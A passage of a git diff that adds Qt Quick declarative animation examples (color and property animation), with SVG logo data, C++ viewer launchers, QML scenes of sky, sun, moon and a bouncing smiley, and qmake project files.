+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/animation/basics/color-animation/main.cpp b/examples/declarative/animation/basics/color-animation/main.cpp
new file mode 100644
index 00000000..20cb7c70
--- /dev/null
+++ b/examples/declarative/animation/basics/color-animation/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/color-animation/color-animation.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/animation/basics/color-animation/qml/color-animation/color-animation.qml b/examples/declarative/animation/basics/color-animation/qml/color-animation/color-animation.qml
new file mode 100644
index 00000000..9544a9af
--- /dev/null
+++ b/examples/declarative/animation/basics/color-animation/qml/color-animation/color-animation.qml
@@ -0,0 +1,112 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.particles 1.0
+
+Item {
+ id: window
+ width: 640; height: 480
+
+ // Let's draw the sky...
+ Rectangle {
+ anchors { left: parent.left; top: parent.top; right: parent.right; bottom: parent.verticalCenter }
+ gradient: Gradient {
+ GradientStop {
+ position: 0.0
+ SequentialAnimation on color {
+ loops: Animation.Infinite
+ ColorAnimation { from: "DeepSkyBlue"; to: "#0E1533"; duration: 5000 }
+ ColorAnimation { from: "#0E1533"; to: "DeepSkyBlue"; duration: 5000 }
+ }
+ }
+ GradientStop {
+ position: 1.0
+ SequentialAnimation on color {
+ loops: Animation.Infinite
+ ColorAnimation { from: "SkyBlue"; to: "#437284"; duration: 5000 }
+ ColorAnimation { from: "#437284"; to: "SkyBlue"; duration: 5000 }
+ }
+ }
+ }
+ }
+
+ // the sun, moon, and stars
+ Item {
+ width: parent.width; height: 2 * parent.height
+ NumberAnimation on rotation { from: 0; to: 360; duration: 10000; loops: Animation.Infinite }
+ Image {
+ source: "images/sun.png"; y: 10; anchors.horizontalCenter: parent.horizontalCenter
+ rotation: -3 * parent.rotation
+ }
+ Image {
+ source: "images/moon.png"; y: parent.height - 74; anchors.horizontalCenter: parent.horizontalCenter
+ rotation: -parent.rotation
+ }
+
+ Particles {
+ x: 0; y: parent.height/2; width: parent.width; height: parent.height/2
+ source: "images/star.png"; angleDeviation: 360; velocity: 0
+ velocityDeviation: 0; count: parent.width / 10; fadeInDuration: 2800
+ SequentialAnimation on opacity {
+ loops: Animation.Infinite
+ NumberAnimation { from: 0; to: 1; duration: 5000 }
+ NumberAnimation { from: 1; to: 0; duration: 5000 }
+ }
+ }
+
+ }
+
+ // ...and the ground.
+ Rectangle {
+ anchors { left: parent.left; top: parent.verticalCenter; right: parent.right; bottom: parent.bottom }
+ gradient: Gradient {
+ GradientStop {
+ position: 0.0
+ SequentialAnimation on color {
+ loops: Animation.Infinite
+ ColorAnimation { from: "ForestGreen"; to: "#001600"; duration: 5000 }
+ ColorAnimation { from: "#001600"; to: "ForestGreen"; duration: 5000 }
+ }
+ }
+ GradientStop { position: 1.0; color: "DarkGreen" }
+ }
+ }
+}
diff --git a/examples/declarative/animation/basics/color-animation/qml/color-animation/images/face-smile.png b/examples/declarative/animation/basics/color-animation/qml/color-animation/images/face-smile.png
new file mode 100644
index 00000000..3d66d725
--- /dev/null
+++ b/examples/declarative/animation/basics/color-animation/qml/color-animation/images/face-smile.png
Binary files differ
diff --git a/examples/declarative/animation/basics/color-animation/qml/color-animation/images/moon.png b/examples/declarative/animation/basics/color-animation/qml/color-animation/images/moon.png
new file mode 100644
index 00000000..9407b2b4
--- /dev/null
+++ b/examples/declarative/animation/basics/color-animation/qml/color-animation/images/moon.png
Binary files differ
diff --git a/examples/declarative/animation/basics/color-animation/qml/color-animation/images/shadow.png b/examples/declarative/animation/basics/color-animation/qml/color-animation/images/shadow.png
new file mode 100644
index 00000000..8270565e
--- /dev/null
+++ b/examples/declarative/animation/basics/color-animation/qml/color-animation/images/shadow.png
Binary files differ
diff --git a/examples/declarative/animation/basics/color-animation/qml/color-animation/images/star.png b/examples/declarative/animation/basics/color-animation/qml/color-animation/images/star.png
new file mode 100644
index 00000000..27ef9242
--- /dev/null
+++ b/examples/declarative/animation/basics/color-animation/qml/color-animation/images/star.png
Binary files differ
diff --git a/examples/declarative/animation/basics/color-animation/qml/color-animation/images/sun.png b/examples/declarative/animation/basics/color-animation/qml/color-animation/images/sun.png
new file mode 100644
index 00000000..7713ca5c
--- /dev/null
+++ b/examples/declarative/animation/basics/color-animation/qml/color-animation/images/sun.png
Binary files differ
diff --git a/examples/declarative/animation/basics/property-animation/main.cpp b/examples/declarative/animation/basics/property-animation/main.cpp
new file mode 100644
index 00000000..50a5a783
--- /dev/null
+++ b/examples/declarative/animation/basics/property-animation/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/property-animation/property-animation.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/animation/basics/property-animation/property-animation.png b/examples/declarative/animation/basics/property-animation/property-animation.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/animation/basics/property-animation/property-animation.png
Binary files differ
diff --git a/examples/declarative/animation/basics/property-animation/property-animation.pro b/examples/declarative/animation/basics/property-animation/property-animation.pro
new file mode 100644
index 00000000..82341e51
--- /dev/null
+++ b/examples/declarative/animation/basics/property-animation/property-animation.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/property-animation
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE4032BC6
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/animation/basics/property-animation
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/animation/basics/property-animation/property-animation.svg b/examples/declarative/animation/basics/property-animation/property-animation.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/animation/basics/property-animation/property-animation.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/animation/basics/property-animation/property.qmlproject b/examples/declarative/animation/basics/property-animation/property.qmlproject
new file mode 100644
index 00000000..1b525c6a
--- /dev/null
+++ b/examples/declarative/animation/basics/property-animation/property.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/property-animation"
+ }
+ JavaScriptFiles {
+ directory: "qml/property-animation"
+ }
+ ImageFiles {
+ directory: "qml/property-animation"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/animation/basics/property-animation/qml/property-animation/images/face-smile.png b/examples/declarative/animation/basics/property-animation/qml/property-animation/images/face-smile.png
new file mode 100644
index 00000000..3d66d725
--- /dev/null
+++ b/examples/declarative/animation/basics/property-animation/qml/property-animation/images/face-smile.png
Binary files differ
diff --git a/examples/declarative/animation/basics/property-animation/qml/property-animation/images/moon.png b/examples/declarative/animation/basics/property-animation/qml/property-animation/images/moon.png
new file mode 100644
index 00000000..9407b2b4
--- /dev/null
+++ b/examples/declarative/animation/basics/property-animation/qml/property-animation/images/moon.png
Binary files differ
diff --git a/examples/declarative/animation/basics/property-animation/qml/property-animation/images/shadow.png b/examples/declarative/animation/basics/property-animation/qml/property-animation/images/shadow.png
new file mode 100644
index 00000000..8270565e
--- /dev/null
+++ b/examples/declarative/animation/basics/property-animation/qml/property-animation/images/shadow.png
Binary files differ
diff --git a/examples/declarative/animation/basics/property-animation/qml/property-animation/images/star.png b/examples/declarative/animation/basics/property-animation/qml/property-animation/images/star.png
new file mode 100644
index 00000000..27ef9242
--- /dev/null
+++ b/examples/declarative/animation/basics/property-animation/qml/property-animation/images/star.png
Binary files differ
diff --git a/examples/declarative/animation/basics/property-animation/qml/property-animation/images/sun.png b/examples/declarative/animation/basics/property-animation/qml/property-animation/images/sun.png
new file mode 100644
index 00000000..7713ca5c
--- /dev/null
+++ b/examples/declarative/animation/basics/property-animation/qml/property-animation/images/sun.png
Binary files differ
diff --git a/examples/declarative/animation/basics/property-animation/qml/property-animation/property-animation.qml b/examples/declarative/animation/basics/property-animation/qml/property-animation/property-animation.qml
new file mode 100644
index 00000000..49487356
--- /dev/null
+++ b/examples/declarative/animation/basics/property-animation/qml/property-animation/property-animation.qml
@@ -0,0 +1,105 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: window
+ width: 320; height: 480
+
+ // Let's draw the sky...
+ Rectangle {
+ anchors { left: parent.left; top: parent.top; right: parent.right; bottom: parent.verticalCenter }
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "DeepSkyBlue" }
+ GradientStop { position: 1.0; color: "LightSkyBlue" }
+ }
+ }
+
+ // ...and the ground.
+ Rectangle {
+ anchors { left: parent.left; top: parent.verticalCenter; right: parent.right; bottom: parent.bottom }
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "ForestGreen" }
+ GradientStop { position: 1.0; color: "DarkGreen" }
+ }
+ }
+
+ // The shadow for the smiley face
+ Image {
+ anchors.horizontalCenter: parent.horizontalCenter
+ y: smiley.minHeight + 58
+ source: "images/shadow.png"
+
+ // The scale property depends on the y position of the smiley face.
